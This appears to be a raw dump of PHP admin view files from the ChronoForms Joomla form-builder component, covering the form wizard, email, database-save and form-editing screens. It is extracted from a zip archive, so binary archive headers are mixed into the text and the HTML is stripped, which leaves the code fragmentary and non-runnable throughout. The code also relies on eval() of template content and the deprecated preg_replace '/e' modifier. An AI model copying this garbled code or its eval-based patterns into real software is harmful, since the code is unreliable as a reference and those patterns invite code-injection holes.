      ]*?)>(.*?)<\/div>/is'; preg_match_all($pattern_input, $element_data, $matches); //find the field index $field_index = str_replace('field_', '', $formdata_key); if($field_index > $max_field_index){ $max_field_index = $field_index; } //prepare the element code $element_code = $matches[0][0]; $element_code = str_replace('element_code', $form_element.'_element_view wizard_element preview_element', $element_code); $element_code = preg_replace('/(\'|")'.$form_element.'_element(\'|")/', '"'.$form_element.'_element_'.$field_index.'"', $element_code); $element_code = str_replace('{n}', $field_index, $element_code); //prepare element params before the eval /*$element_params = array(); foreach($field_data as $field_data_key => $field_data_value){ $clean_key = str_replace($field_data['tag'].'_'.$field_data['type'].'_'.$field_index.'_', '', $field_data_key); $element_params[$clean_key] = (is_array($field_data_value) ? implode('', $field_data_value) : $field_data_value); }*/ //render element ob_start(); eval('?>'.$element_code); $element_output = ob_get_clean(); $element_container_id = isset($formdata_element['container_id']) ? (int)$formdata_element['container_id'] : 0; if(isset($containers_outputs[$element_container_id])){ $containers_outputs[$element_container_id] .= $element_output; }else{ $containers_outputs[$element_container_id] = $element_output; } ?> 1){ $containers_ids = array_keys($containers_outputs); for($i = count($containers_outputs) - 1; $i >= 1; $i--){ $containers_outputs[$containers_ids[$i - 1]] = str_replace('', $containers_outputs[$containers_ids[$i]], $containers_outputs[$containers_ids[$i - 1]]); } }*/ //echo getContainerOutput($containers_outputs[0], $containers_outputs);//original loop $containers = buildContainersArray($wizardcode); echo buildContaintersOutput($containers_outputs, $containers); ?>

      Your form type is "Custom" and so you can NOT add/edit the form fields (code) in the wizard, any fields you add here now will NOT be saved.

      tabEnd(); ?> tabStart('events'); ?>
      events_actions_map) && !empty($form->events_actions_map)){ $eventscode = unserialize(base64_decode($form->events_actions_map)); $actionsarray = array(); if(isset($formactions) && !empty($formactions)){ foreach($formactions as $action_index => $action_data){ $actionsarray['cfaction_'.$action_data->type.'_'.$action_data->order] = $action_data; if($action_data->order > $max_action_index){ $max_action_index = $action_data->order + 1; } } } } ?>
      events_actions_map) && !empty($eventscode['events']['load'])){ echo _processActions($eventscode['events']['load']['actions'], $actionsarray); } ?>
      events_actions_map) && !empty($eventscode['events']['submit'])){ echo _processActions($eventscode['events']['submit']['actions'], $actionsarray); } ?>
      $new_event_val): ?>
      remove events_actions_map) && !empty($eventscode['events'][$new_event])){ echo _processActions($eventscode['events'][$new_event]['actions'], $actionsarray); } ?>
      Add Event
      tabEnd(); ?> tabStart('settings'); ?> params); }else{ $params = new JParameter(''); } ?> input('chronoform_name', array('type' => 'text', 'id' => 'chronoform_name', 'class' => 'medium_input', 'label' => 'Form name', 'smalldesc' => 'Unique form name without spaces or any special characters, underscores _ or dashes -', 'value' => (!empty($form)) ? $form->name : '')); ?> input('chronoform_published', array('type' => 'select', 'label' => 'Published', 'options' => array(0 => 'No', 1 => 'Yes'), 'selected' => (!empty($form)) ? $form->published : 1)); ?> input('form_type', array('type' => 'hidden', 'value' => (!empty($form)) ? $form->form_type : 1)); ?> input('params[tight_layout]', array('type' => 'select', 'label' => 'Tight Layout', 'value' => $params->get('tight_layout', 0), 'options' => array(0 => 'Normal', 1 => 'Tight'), 'default' => 0, 'smalldesc' => 'Should the form load the regular CSS or load a tight CSS (less spaced out, smaller fields and less padding..etc) ?')); ?> tabEnd(); ?> tabStart('legend'); ?> tabEnd(); ?> tabStart('emails'); ?>
      '#1'), array('action_label' => '#2'), array('action_label' => '#3'))); ?> $formaction){ $order = $formaction->order; $formaction = (array)$formaction; if(!empty($formaction)){ $data_params = $formaction['params']; unset($formaction['params']); $formaction = array_merge($data_params, $formaction); foreach($formaction as $k => $v){ $easy_actions_data['chronoaction'][$order]['action_'.$formaction['type'].'_'.$order.'_'.$k] = $v; } } } }else{ $easy_wizard_actions = array( 10 => 'email', 11 => 'email', 12 => 'email', 14 => 'show_thanks_message', 6 => 'upload_files', 2 => 'load_captcha', 4 => 'check_captcha', 9 => 'db_save', 0 => 'load_js', 1 => 'load_css', 8 => 'custom_code', 13 => 'custom_code', ); foreach($easy_wizard_actions as $order => $easy_wizard_action){ $default_action_params = loadActionParams($easy_wizard_action); foreach($default_action_params as $k => $v){ if($k == 'enabled'){ $v = 0; } $easy_actions_data['chronoaction'][$order]['action_'.$easy_wizard_action.'_'.$order.'_'.$k] = $v; } } } //print_r2($easy_actions_data); $HtmlHelper->data = $easy_actions_data; $HtmlHelper->advanced_data = true; ?>
      tabEnd(); ?> tabStart('thanks'); ?>
      tabEnd(); ?> tabStart('uploads'); ?>
      0))); ?>
      tabEnd(); ?> tabStart('code'); ?>
      'Before Email(s)'), array('action_label' => 'After Email(s)'))); ?>
      tabEnd();*/ ?> tabStart('captcha'); ?>
      0))); ?>
      tabEnd(); ?> tabStart('db'); ?>
      0))); ?>
      tabEnd(); ?> tabStart('other'); ?>
      tabEnd(); ?>
      edit sort remove
      $loadActionData){ $actionOutput = ''; if(!empty($loadActionData) && is_array($loadActionData)){ if(isset($loadActionData['events']) && !empty($loadActionData['events'])){ foreach($loadActionData['events'] as $eventk => $eventv){ if(!empty($eventv) && is_array($eventv) && isset($eventv['actions']) && !empty($eventv['actions'])){ $eventOutput = _processActions($eventv['actions'], $actionsarray); $actionEvents[$eventk] = $eventOutput; }else{ continue; } } } $actionOutput = loadActionFile($actionsarray[$loadAction], $actionsarray[$loadAction]->order); foreach($actionEvents as $eventName => $eventOutput){ $pattern_input = '/
      ]*?)>(.*?)<\/div>/is'; preg_match_all($pattern_input, $actionOutput, $matches); if(isset($matches[0][0])){ $rawEventOutput = $matches[0][0]; $newEventOutput = str_replace('
      ', $eventOutput.'
      ', $rawEventOutput); $actionOutput = str_replace($rawEventOutput, $newEventOutput, $actionOutput); }else{ } } $output .= $actionOutput; }else{ $output .= loadActionFile($actionsarray[$loadAction], $actionsarray[$loadAction]->order); } } return $output; } function loadActionFile($action_data, $action_index){ //load basic params $action_params = array(); $action_file1 = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action_data->type.DS.$action_data->type.'.php'; if(file_exists($action_file1)){ require_once($action_file1); $actionclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'cfaction_'.$action_data->type); if(class_exists($actionclassname)){ $actionclass = new $actionclassname; $action_params = $actionclass->load(true); } } //load elements files $filename = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action_data->type.DS.$action_data->type.'.ctp'; if(file_exists($filename)){ $handle = fopen($filename, 'rb'); $element_data = fread($handle, filesize($filename)); fclose($handle); //$pattern_input = '/
      ]*?)>(.*?)<\/div>/is'; $pattern_input = '/(.*?)/is'; preg_match_all($pattern_input, $element_data, $matches); //prepare the lement code $element_code = $matches[0][0]; $element_code = str_replace(array('', ''), '', $element_code); $element_code = str_replace('element_code', 'cfaction_'.$action_data->type.'_element_view wizard_element', $element_code); $element_code = preg_replace('/(\'|")'.'cfaction_'.$action_data->type.'_element(\'|")/', '"'.'cfaction_'.$action_data->type.'_element_'.$action_index.'"', $element_code); $element_code = str_replace('{n}', $action_index, $element_code); //prepare element params before the eval if(!is_array($action_data->params)){ $aparams = new JParameter($action_data->params); $params = $aparams->toArray(); $action_data->params = array(); foreach($params as $kp => $param){ $action_data->params[$kp] = $param; } } $action_params = array_merge($action_params['action_params'], get_object_vars($action_data), $action_data->params); //render element ob_start(); eval('?>'.$element_code); $output = ob_get_clean(); return $output; } } //functions for easy mode /*function _loadActionsList($action_name, $formactions, $start = 0, $order = array(), $settings = array()){ if(!is_array($action_name)){ $action_name = array($action_name); } foreach($action_name as $k => $action){ $i = $order[$k];//$k + $start; if(isset($formactions[$i]) && $formactions[$i]->type == $action){ echo loadActionFile($formactions[$i], $formactions[$i]->order); }else{ $object = new stdClass(); $object->type = $action; $object->params = ''; if(isset($settings[$k]) && !empty($settings[$k])){ foreach($settings[$k] as $ks => $setting){ $object->$ks = $setting; } } echo loadActionFile($object, $order[$k]); } unset($formactions[$i]); } return $formactions;// = array_values($formactions); }*/ //original loop function function getContainerOutput($outer, $all, $key = 0){ static $counter; $counter++; if(isset($counter) AND $counter > 2000)return $outer; unset($all[$key]); $containers_ids = array_keys($all); foreach($containers_ids as $id){ $container_output = getContainerOutput($all[$id], $all, $id); $outer = str_replace('', $container_output, $outer); } return $outer; } function buildContainersArray($wizcode) { $arr = array(); foreach ($wizcode as $key => $element){ $tmp = explode("_",$key); $fieldid = intval($tmp[1]); $contid = empty($element['container_id']) ? 0 : intval($element['container_id']); if($contid != $fieldid){ if(!isset($arr[$contid]))$arr[$contid] = array(); $arr[$contid][] = $fieldid; } } return $arr; } function buildContaintersOutput(&$containers_outputs, &$childs, $id=0) { if (isset($childs[$id])) { foreach ($childs[$id] as $child) { $containers_outputs[$child] = buildContaintersOutput($containers_outputs, $childs, $child); $containers_outputs[$id] = str_replace('', $containers_outputs[$child], $containers_outputs[$id]); } } if(isset($containers_outputs[$id])){ return $containers_outputs[$id]; }else{ return ''; } } function loadActionParams($action_name){ //load basic params $action_params = array(); $action_file1 = JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS.'form_actions'.DS.$action_name.DS.$action_name.'.php'; if(file_exists($action_file1)){ require_once($action_file1); $actionclassname = preg_replace('/(?:^|_)(.?)/e', "strtoupper('$1')", 'cfaction_'.$action_name); if(class_exists($actionclassname)){ $actionclass = new $actionclassname; $action_params = $actionclass->load(true); } } return $action_params = $action_params['action_params'];//array_merge($action_params['action_params'], get_object_vars($action_data), $action_data->params); } ?>PKs>\Ri'com_chronoforms/views/restore_forms.phpnuW+A
      Choose your .cf4bak form file:  
      PKs>\ñk-com_chronoforms/views/easy_wizard_db_save.phpnuW+A startPane('db_save'); ?> startPanel('DB Connection', 'db_save_'.$i); ?> input('chronoaction['.$i.'][action_db_save_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> getTableList(); $options = array(); foreach($tables as $table){ $options[$table] = $table; } ?> input('chronoaction['.$i.'][action_db_save_'.$i.'_table_name]', array('type' => 'select', 'label' => 'Table', 'options' => $options, 'empty' => " - ", 'class' => 'medium_input', 'smalldesc' => "The database table where the form data will be stored.
      if you didn't create a table for your form yet then you can do this in the Forms Manager.")); ?> input('chronoaction['.$i.'][action_db_save_'.$i.'_save_under_modelid]', array('type' => 'hidden', 'value' => 0)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'db_save')); ?> endPanel(); ?> endPane(); ?> PKs>\;o::,com_chronoforms/views/easy_wizard_emails.phpnuW+A RELEASE > 1.5): ?> startPane('emails'); $email_c = 1; ?> startPanel('Email '.$email_c, 'emails_email_'.$i); ?> input('chronoaction['.$i.'][action_email_'.$i.'_enabled]', array('type' => 'select', 'label' => "Enabled", 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('chronoaction['.$i.'][action_email_'.$i.'_to]', array('type' => 'text', 'label' => "To *", 'class' => 'medium_input', 'smalldesc' => 'List of recipient(s) email address(es) separated by comma,e.g: me@domain.com OR x@dom.com,z@dom.com')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_subject]', array('type' => 'text', 'label' => "Subject *", 'class' => 'medium_input', 'smalldesc' => 'Email subject.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_fromname]', array('type' => 'text', 'label' => "From name *", 'default' => $mainframe->getCfg('fromname'), 'class' => 'medium_input', 'smalldesc' => 'The name of sender.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_fromemail]', array('type' => 'text', 'label' => "From email *", 'default' => $mainframe->getCfg('mailfrom'), 'class' => 'medium_input', 'smalldesc' => 'The email address of the sender.')); ?>
      input('chronoaction['.$i.'][action_email_'.$i.'_content1]', array('type' => 'textarea', 'label' => "Email template", 'class' => 'mce_editor', 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.')); ?> display('chronoaction['.$i.'][action_email_'.$i.'_content1]', '', 600, 400, 30, 85, 1); ?> input('chronoaction['.$i.'][action_email_'.$i.'_attachments]', array('type' => 'text', 'label' => "Attachments fields name", 'class' => 'big_input', 'value' => '', 'smalldesc' => 'Fields to be attached to this email message, find fields names inside the fields settings box.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_recordip]', array('type' => 'select', 'label' => "Include IP address", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => '')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_dto]', array('type' => 'text', 'label' => "Dynamic To", 'class' => 'medium_input', 'smalldesc' => 'A field name holding an email address to which the email will be sent.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_dreplytoname]', array('type' => 'text', 'label' => "Dynamic Reply to name", 'class' => 'medium_input', 'smalldesc' => 'A field name holding a string which should appear when the email receiver hits the reply button.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_dreplytoemail]', array('type' => 'text', 'label' => "Dynamic Reply to email", 'class' => 'medium_input', 'smalldesc' => 'A field name holding an email address which should be used when the email receiver hits the reply button.')); ?> input('chronoaction['.$i.'][action_email_'.$i.'_replace_nulls]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'email')); ?> endPanel(); ?> endPane(); ?>PKs>\hee+com_chronoforms/views/easy_wizard_other.phpnuW+A startPane('other'); ?> startPanel('Tools', 'tools'); ?> input('chronoaction['.$i.'][action_debugger_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enable Debug', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Show debug report after form submission.')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'debugger')); ?> endPanel(); ?> startPanel('Redirect', 'redirect'); ?> input('chronoaction['.$i.'][action_redirect_user_'.$i.'_enabled]', array('type' => 'select', 'label' => 'Enable Redirect', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('chronoaction['.$i.'][action_redirect_user_'.$i.'_target_url]', array('type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => 'The URL to which the user will be redirected after submitting the form.')); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'redirect_user')); ?> endPanel(); ?> startPanel('JS/CSS Settings', 'js_css'); ?> input('chronoaction['.$i.'][action_load_js_'.$i.'_content1]', array('type' => 'textarea', 'label' => "JavaScript Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'No script tags.')); ?> input('chronoaction['.$i.'][action_load_js_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'load_js')); ?> input('chronoaction['.$i.'][action_load_css_'.$i.'_content1]', array('type' => 'textarea', 'label' => "CSS Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'No style tags.')); ?> input('chronoaction['.$i.'][action_load_css_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'load_css')); ?> endPanel(); ?> startPanel('Custom PHP code', 'custom_php'); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_content1]', array('type' => 'textarea', 'label' => "Before Emails Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'a chunk of PHP code which will be executed before your emails are sent.')); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'custom_code')); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_content1]', array('type' => 'textarea', 'label' => "After Emails Code", 'rows' => 20, 'cols' => 85, 'style' => 'width: 600px; height: 300px;', 'smalldesc' => 'a chunk of PHP code which will be executed after your emails have been sent.')); ?> input('chronoaction['.$i.'][action_custom_code_'.$i.'_enabled]', array('type' => 'hidden', 'value' => 1)); ?> input('chronoaction_id['.$i.']', array('type' => 'hidden', 'value' => $i)); ?> input('chronoaction['.$i.'][type]', array('type' => 'hidden', 'value' => 'custom_code')); ?> endPanel(); ?> endPane(); ?> PKs>\5zO//!com_chronoforms/views/updates.phpnuW+A
      Database updates
      Apply all the latest Chronoforms Database updates:
      PKs>\oocom_chronoforms/views/index.phpnuW+Aroot(), $matches); $domain = $matches[2]; $jversion = new JVersion(); ?> Your ChronoForms install at is NOT Validated, No limited features but for a small fee you get link free forms and help us continue the development and support
      getUserStateFromRequest('com_chronoforms.app', 'select_app', '', 'string'); ?>
      Forms App:  
      params); ?>
      # Form ID Name Wizard Link Tables Connected Admin processor Published
      id; ?> name; ?> Wizard edit Frontend view form_actions)){ foreach($form->form_actions as $action){ if($action->type == 'db_save' || $action->type == 'db_record_loader' || $action->type == 'db_multi_record_loader'){ $action_params = new JParameter($action->params); $table_name = $action_params->get('table_name', ''); if(!empty($table_name)){ $tables[] = $table_name; } } } } $tables = array_unique($tables); ?> get('adminview_actions', ''); if(!empty($adminview_actions)): $adminview_actions = explode(",", $adminview_actions); foreach($adminview_actions as $adminview_action): $action_pieces = explode(":", $adminview_action); ?>    RELEASE > 1.5){ $image_path = $uri->base().'templates/'.$mainframe->getTemplate().'/images/admin/'; }else{ $image_path = 'images/'; } ?> published == 1): ?> Published Unpublished
      getListFooter(); ?>
      PKs>\p[ com_chronoforms/views/legend.phpnuW+A
      Symbol Meaning
      remove Delete the element.
      remove Show the element settings box.
      remove Drag to sort the element order.
      remove Draggable item.
      PKs>\?##&com_chronoforms/views/create_table.phpnuW+A $default_data){ if((int)preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $default) == 0){ $wrong_inputs[] = $default; JError::raiseWarning(200, 'Field name "'.$default.'" is invalid, please fix the field name in the wizard (or the form code) then retry again.'); } } if(!empty($wrong_inputs)){ JError::raiseNotice(200, 'A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores.'); } ?>
      input('_cf_table_name', array('label' => 'Table Name', 'value' => '#__chronoforms_data_'.str_replace("-", "_", $row->name), 'class' => 'medium_input', 'smalldesc' => 'Enter the table name here, no spaces or any special characters, underscores allowed.')); ?> $default_data): ?>
      # Field name Enabled Type Length Primary key Default Extra Null
      onclick="isChecked(this.checked);" /> />
      PKs>\jV?V?com_chronoforms/views/edit.phpnuW+A data = $form; $params = new JParameter(''); if(!empty($form)){ $params = new JParameter($form->params); } $mainframe = JFactory::getApplication(); $database = JFactory::getDBO(); require_once(JPATH_SITE.DS."administrator".DS."components".DS."com_chronoforms".DS."helpers".DS."tabs_helper.php"); $TabsHelper = new TabsHelper(); $jversion = new JVersion(); ?>

      name; }else{ echo 'New Form...'; } ?>

      Header(array('general' => 'General', 'code' => 'Code', 'jsval' => 'JS Validation', 'admin_actions' => 'Admin actions', 'apps' => 'Form Applications', 'data_view' => 'Data View')); ?> tabStart('general'); ?> input('name', array('type' => 'text', 'id' => 'chronoform_name', 'label' => 'Form name', 'class' => 'medium_input', 'smalldesc' => 'Unique form name without spaces or any special characters, underscores _ or dashes -')); ?> input('published', array('type' => 'select', 'label' => 'Published', 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1)); ?> input('params[form_mode]', array('type' => 'select', 'label' => 'Form Wizard Mode', 'value' => $params->get('form_mode', 'advanced'), 'options' => array('advanced' => 'Advanced (Default)', 'easy' => 'Easy'), 'default' => 'advanced', 'smalldesc' => 'Choose your form wizard mode, the advanced mode is the default one, you will have all the Chronoforms V4 tools enabled in the wizard, the Easy mode is easier to use though and is enough to build strong simple forms.')); ?> input('params[form_method]', array('type' => 'select', 'label' => 'Form method', 'value' => $params->get('form_method', 'post'), 'options' => array('post' => 'Post', 'get' => 'Get', 'file' => 'File'), 'default' => 'post', 'smalldesc' => 'Choose your form method, File is ncessary to get file uploads working.')); ?> input('params[auto_detect_settings]', array('type' => 'select', 'label' => 'Auto Detect Settings', 'value' => $params->get('auto_detect_settings', 1), 'options' => array(0 => 'No', 1 => 'Yes (Advised)'), 'default' => 1, 'smalldesc' => 'Should the form detect some settings and apply them automatically ? settings like validtaion and files uploading will be detected based on your form code.')); ?> input('params[load_files]', array('type' => 'select', 'label' => 'Load Chronoforms files', 'value' => $params->get('load_files', 1), 'options' => array(0 => 'Disable completely', 1 => 'Load necessary files', 2 => 'Load ALL files!'), 'default' => 1)); ?> input('params[tight_layout]', array('type' => 'select', 'label' => 'Tight Layout', 'value' => $params->get('tight_layout', 0), 'options' => array(0 => 'Normal', 1 => 'Tight'), 'default' => 0, 'smalldesc' => 'Should the form load the regular CSS or load a tight CSS (less spaced out, smaller fields and less padding..etc) ?')); ?> input('params[action_url]', array('type' => 'text', 'label' => 'Submit URL', 'class' => 'big_input', 'value' => $params->get('action_url', ''), 'smalldesc' => 'Adding a submit URL will disable all the form "on submit" event functions.')); ?> input('params[form_tag_attach]', array('type' => 'text', 'label' => 'Form tag attachment', 'class' => 'big_input', 'value' => htmlspecialchars($params->get('form_tag_attach', '')), 'smalldesc' => 'Some data you may like to include into the < form .... > tag, e.g: onsubmit="someJSFunction();".')); ?> input('params[submit_action]', array('type' => 'select', 'label' => 'Submit action', 'value' => $params->get('submit_action', 'submit'), 'options' => array('submit' => 'Submit', 'self' => 'Self'), 'default' => 'submit', 'smalldesc' => 'Select wheather the form should be submitted to usual onSubmit event or to the same loading event.')); ?> input('params[add_form_tags]', array('type' => 'select', 'label' => 'Add form tags', 'value' => $params->get('add_form_tags', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'You may have a good reason to disable the form tags, but in this case your form will not be submittable.')); ?> input('params[relative_url]', array('type' => 'select', 'label' => 'Relative URL', 'value' => $params->get('relative_url', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'do you want the action url to be relative to the current loaded form url ? useful to make your form submit to the same page its currently loaded at, when its inside a content page or a module.')); ?> input('params[dynamic_files]', array('type' => 'select', 'label' => 'Dynamic Files', 'value' => $params->get('dynamic_files', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => 'Load the form JS/CSS code inside a dynamic file instead of the page head, useful in few situations and to tidy up the page header.')); ?> input('params[handle_arrays]', array('type' => 'select', 'label' => 'Handle arrays', 'value' => $params->get('handle_arrays', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'Submitted values of type arrays (like checkboxes groups) will be concatenated into 1 string.')); ?> input('params[handle_arrays_skipped]', array('type' => 'text', 'label' => 'Skipped array fields', 'class' => 'big_input', 'smalldesc' => 'List of fields names which may hold arrays and should be skipped of being handled, e.g: field1,field2,..etc')); ?> input('params[debug]', array('type' => 'select', 'label' => 'Debug', 'value' => $params->get('debug', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => 'The debug should show some useful info about the form data and flow when loaded and/or submitted.')); ?> input('params[enable_plugins]', array('type' => 'select', 'label' => 'Enable Joomla plugins', 'value' => $params->get('enable_plugins', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => 'You can enable Joomla plugins inside your form, may cause unexpected results sometimes.')); ?> input('params[show_top_errors]', array('type' => 'select', 'label' => 'Show Top Errors', 'value' => $params->get('show_top_errors', 1), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 1, 'smalldesc' => 'Do you want any form errors to be listed above the form ?')); ?>
      DatePicker Settings input('params[datepicker_config]', array('type' => 'text', 'label' => 'DateTime Picker config', 'class' => 'big_input', 'style' => 'width:700px;', 'maxlength' => 500, 'value' => $params->get('datepicker_config', ''), 'smalldesc' => "Enter any extension config to the default datepicker classes loaded, this will affect all the default date fields in the form, custom ones will not be affected, e.g:
      days: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], startView: 'decades'")); ?> input('params[datepicker_type]', array('type' => 'select', 'label' => 'DatePicker Type', 'value' => $params->get('datepicker_type', 0), 'options' => array(0 => 'Default (by MonkeyPhysics)', 1 => 'Mootools DatePicker'), 'default' => 0, 'smalldesc' => 'Select the date/time picker type you want to load, the "Mootools" picker is available for J1.6 and later only, selecting this option in J1.5 will simply load the default picker.')); ?> input('params[datepicker_moo_style]', array('type' => 'select', 'label' => 'Moo DatePicker Style', 'value' => $params->get('datepicker_moo_style', 'datepicker_dashboard'), 'options' => array('datepicker_dashboard' => 'DashBoard', 'datepicker_jqui' => 'JQUI', 'datepicker_vista' => 'Vista'), 'default' => 'datepicker_dashboard', 'smalldesc' => 'Select the Mootools datepicker style, this is available for Joomla 1.6 and above ONLY.')); ?>
      tabEnd(); ?> tabStart('code'); ?> input('form_type', array('type' => 'select', 'label' => 'Form type', 'options' => array(0 => 'Custom', 1 => 'Wizard'), 'default' => 0, 'smalldesc' => 'Custom forms HTML code will not be affected when using it in the wizard, Wizard forms code will be overwritten though.')); ?> input('content', array('type' => 'textarea', 'label' => 'HTML code', 'rows' => 30, 'cols' => 100, 'smalldesc' => 'May contain PHP code with tags', 'value' => ($form ? htmlspecialchars($form->content) : ''))); ?> tabEnd(); ?> tabStart('jsval'); ?> input('params[enable_jsvalidation]', array('type' => 'select', 'label' => 'Enable JS Validation', 'value' => $params->get('enable_jsvalidation', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0)); ?> input('params[jsvalidation_errors]', array('type' => 'select', 'label' => 'Validation Errors', 'value' => $params->get('jsvalidation_errors', 1), 'options' => array(0 => 'Default', 1 => 'Fields Titles'), 'default' => 1, 'smalldesc' => 'Should the library use the field title as the error message if exists ? the Default option will ignore the fields titles and use the error messages in the language files.')); ?> input('params[jsvalidation_theme]', array('type' => 'select', 'label' => 'JS Validation Theme', 'value' => $params->get('jsvalidation_theme', 'classic'), 'options' => array('classic' => 'Classic', 'blue' => 'Blue', 'green' => 'Green', 'red' => 'Red', 'grey' => 'Grey', 'white' => 'White'), 'default' => 'classic')); ?> input('params[jsvalidation_lang]', array('type' => 'select', 'label' => 'JS Validation Language', 'value' => $params->get('jsvalidation_lang', 'en'), 'options' => array('en' => 'English', 'fr' => 'French', 'de' => 'Deutsch', 'nl' => 'Dutch', 'es' => 'Spanish', 'da' => 'Danish', 'it' => 'Italian', 'jp' => 'Japanese', 'cn' => 'Chinese', 'ru' => 'Russain', 'pt' => 'Portugese', 'gr' => 'Greek', 'tr' => 'Turkish', 'pl' => 'Polish', 'ro' => 'Romanian', 'no' => 'Norwegian bokmål', 'fa' => 'Farsi', 'lv' => 'Latvian', 'sl' => 'Slovenščina', 'cz' => 'Čeština'), 'default' => 'en')); ?> input('params[jsvalidation_showErrors]', array('type' => 'select', 'label' => 'Errors event', 'value' => $params->get('jsvalidation_showErrors', 0), 'options' => array(0 => 'onSubmit', 1 => 'onSubmit & onBlur'), 'default' => 0)); ?> input('params[jsvalidation_errorsLocation]', array('type' => 'select', 'label' => 'Errors location', 'value' => $params->get('jsvalidation_errorsLocation', 1), 'options' => array(1 => 'Tips (default)', 3 => 'After element'), 'default' => 1, 'smalldesc' => 'Requires the fields titles errors setting enabled!')); ?> tabEnd(); ?> tabStart('admin_actions'); ?> input('params[adminview_actions]', array('type' => 'text', 'label' => 'Admin View Functions', 'class' => 'big_input', 'value' => $params->get('adminview_actions', ''), 'smalldesc' => 'list of form events to be listed in the index page for this form, please use this format:
      form_event:Function Title')); ?> input('params[dataview_actions]', array('type' => 'text', 'label' => 'Data View Functions', 'class' => 'big_input', 'value' => $params->get('dataview_actions', ''), 'smalldesc' => 'list of form events to be listed in the data view page for this form, please use this format:
      form_event:Function Title')); ?> tabEnd(); ?> tabStart('apps'); ?> input('app', array('type' => 'text', 'id' => 'app', 'label' => 'Form App', 'class' => 'medium_input', 'smalldesc' => 'The app name under which this form will be listed, leave empty to list under "Default" app.')); ?> input('params[app_exclusive]', array('type' => 'select', 'label' => 'App Exclusive', 'value' => $params->get('app_exclusive', 0), 'options' => array(0 => 'No', 1 => 'Yes'), 'default' => 0, 'smalldesc' => "Enable this if you want to stop the form events from beind processed if the form not loaded through the parent App (Extension).")); ?> tabEnd(); ?> tabStart('data_view'); ?> form_actions)){ foreach($form->form_actions as $action){ if($action->type == 'db_save' || $action->type == 'db_record_loader' || $action->type == 'db_multi_record_loader'){ $action_params = new JParameter($action->params); $table_name = $action_params->get('table_name', ''); if(!empty($table_name)){ $tables[] = $table_name; } } } } $tables = array_unique($tables); $tables_data = $database->getTableFields($tables, false); foreach($tables as $table){ $table_fields = array_keys($tables_data[$table]); foreach($table_fields as $k => $v){ unset($table_fields[$k]); $table_fields[$v] = $v; } echo $HtmlHelper->input('params[dataview_fields_'.$table.']', array('type' => 'select', 'multiple' => true, 'size' => 8, 'label' => 'Data View ('.$table.')', 'value' => explode(",", $params->get('dataview_fields_'.$table, '')), 'options' => $table_fields, 'smalldesc' => 'Select the table fields to appear in the data view for this table.')); } if(empty($tables)){ echo "There are no DB tables connected to this form to configure."; } ?> tabEnd(); ?> input('id', array('type' => 'hidden')); ?>
